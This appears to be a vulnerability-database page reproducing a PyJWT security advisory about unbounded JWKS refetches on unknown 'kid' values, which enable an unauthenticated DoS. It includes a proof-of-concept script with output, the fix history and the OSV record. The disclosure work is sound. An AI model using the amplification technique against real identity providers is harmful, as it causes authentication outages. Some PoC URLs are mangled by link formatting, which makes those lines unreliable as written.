Proof of concept (verified on 2.13.0, cache enabled = realistic prod config) import threading, http.server, socketserver, json from jwt import PyJWKClient hits = {'n': 0} JWKS = json.dumps({"keys":[{"kty":"oct","kid":"real","k":"AAAA"}]}).encode() class H(http.server.BaseHTTPRequestHandler): def do_GET(self): hits['n'] += 1 self.send_response(200); self.send_header('Content-Type','application/json'); self.end_headers() self.wfile.write(JWKS) def log_message(self,*a): pass srv = socketserver.TCPServer(('127.0.0.1',0), H); port = srv.server_address[1] threading.Thread(target=srv.serve_forever, daemon=True).start() c = PyJWKClient(f'http://127.0.0.1/:{port}/jwks.json', cache_keys=True, lifespan=3600) for i in range(8): try: c.get_signing_key(f'attacker-unknown-kid-{i}') except Exception: pass before = hits['n'] for _ in range(5): try: c.get_signing_key('same-unknown') except Exception: pass print('distinct unknown kids: 8 -> fetches:', hits['n']) print('same unknown kid x5 -> extra fetches:', hits['n'] - before)
Output: distinct unknown kids: 8 -> fetches: 9 same unknown kid x5 -> extra fetches: 5 Each unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.
Impact One unauthenticated request -> one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -> victim -> IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider's rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.
Suggested fix Guard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.
Note: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.
Reported by Babakizo (Securva).
Maintainer update — 2026-09-10
The maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching
enabled, an unknown kid previously forced an unconditional JWKS refresh,
including when the same unknown value was repeated while the cached key set was
still valid. This allowed unauthenticated token headers to cause unnecessary
outbound JWKS requests and repeated parsing work.
The fix is now on master in commit ba4853a. PyJWKClient now applies a
30-second cooldown after successful JWKS fetches before permitting another
unknown-kid refresh, serializes concurrent refresh decisions per client, and
allows callers to configure or disable the cooldown. Cache-disabled behavior
and immediate retry after failed fetches remain unchanged.
Regression tests cover repeated unknown kids, cooldown expiry, concurrent misses, cache-disabled operation, and invalid cooldown values. The available full tox matrix, Ruff, and mypy checks pass. The fix will be included in the next released 2.x version.
Maintainer update — 2026-09-11
The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.13.0"
},
"package": {
"ecosystem": "PyPI",
"name": "pyjwt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.14.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-101917"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-29T23:11:51Z",
"nvd_published_at": "2026-09-28T21:17:13Z",
"severity": "MODERATE"
},
"details": "Summary\nCVE-2026-48524 (GHSA-fhv5-28vv-h8m8, \"PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)\") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory\u0027s title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.\n\nAt HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.\n\nAffected\npyjwt \u003c= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.\n\nProof of concept (verified on 2.13.0, cache enabled = realistic prod config)\nimport threading, http.server, socketserver, json\nfrom jwt import PyJWKClient\nhits = {\u0027n\u0027: 0}\nJWKS = json.dumps({\"keys\":[{\"kty\":\"oct\",\"kid\":\"real\",\"k\":\"AAAA\"}]}).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n hits[\u0027n\u0027] += 1\n self.send_response(200); self.send_header(\u0027Content-Type\u0027,\u0027application/json\u0027); self.end_headers()\n self.wfile.write(JWKS)\n def log_message(self,*a): pass\nsrv = socketserver.TCPServer((\u0027[127.0.0.1](https://127.0.0.1/)\u0027,0), H); port = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nc = PyJWKClient(f\u0027http://127.0.0.1/:{port}[/jwks](tg://bot_command?command=jwks).json\u0027, cache_keys=True, lifespan=3600)\nfor i in range(8):\n try: c.get_signing_key(f\u0027attacker-unknown-kid-{i}\u0027)\n except Exception: pass\nbefore = hits[\u0027n\u0027]\nfor _ in range(5):\n try: c.get_signing_key(\u0027same-unknown\u0027)\n except Exception: pass\nprint(\u0027distinct unknown kids: 8 -\u003e fetches:\u0027, hits[\u0027n\u0027])\nprint(\u0027same unknown kid x5 -\u003e extra fetches:\u0027, hits[\u0027n\u0027] - before)\n\nOutput:\n distinct unknown kids: 8 -\u003e fetches: 9\n same unknown kid x5 -\u003e extra fetches: 5\nEach unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.\n\nImpact\nOne unauthenticated request -\u003e one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -\u003e victim -\u003e IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider\u0027s rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.\n\nSuggested fix\nGuard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.\n\nNote: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.\n\nReported by Babakizo (Securva).\n\n## Maintainer update \u2014 2026-09-10\n\nThe maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching\nenabled, an unknown `kid` previously forced an unconditional JWKS refresh,\nincluding when the same unknown value was repeated while the cached key set was\nstill valid. This allowed unauthenticated token headers to cause unnecessary\noutbound JWKS requests and repeated parsing work.\n\nThe fix is now on `master` in commit `ba4853a`. `PyJWKClient` now applies a\n30-second cooldown after successful JWKS fetches before permitting another\nunknown-`kid` refresh, serializes concurrent refresh decisions per client, and\nallows callers to configure or disable the cooldown. Cache-disabled behavior\nand immediate retry after failed fetches remain unchanged.\n\nRegression tests cover repeated unknown kids, cooldown expiry, concurrent\nmisses, cache-disabled operation, and invalid cooldown values. The available\nfull tox matrix, Ruff, and mypy checks pass. The fix will be included in the\nnext released 2.x version.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.",
"id": "GHSA-2gx3-rcp4-g85q",
"modified": "2026-09-29T23:11:51Z",
"published": "2026-09-29T23:11:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101917"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/commit/ba4853a75fb9676362da17f67d0f64bd18afd4e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.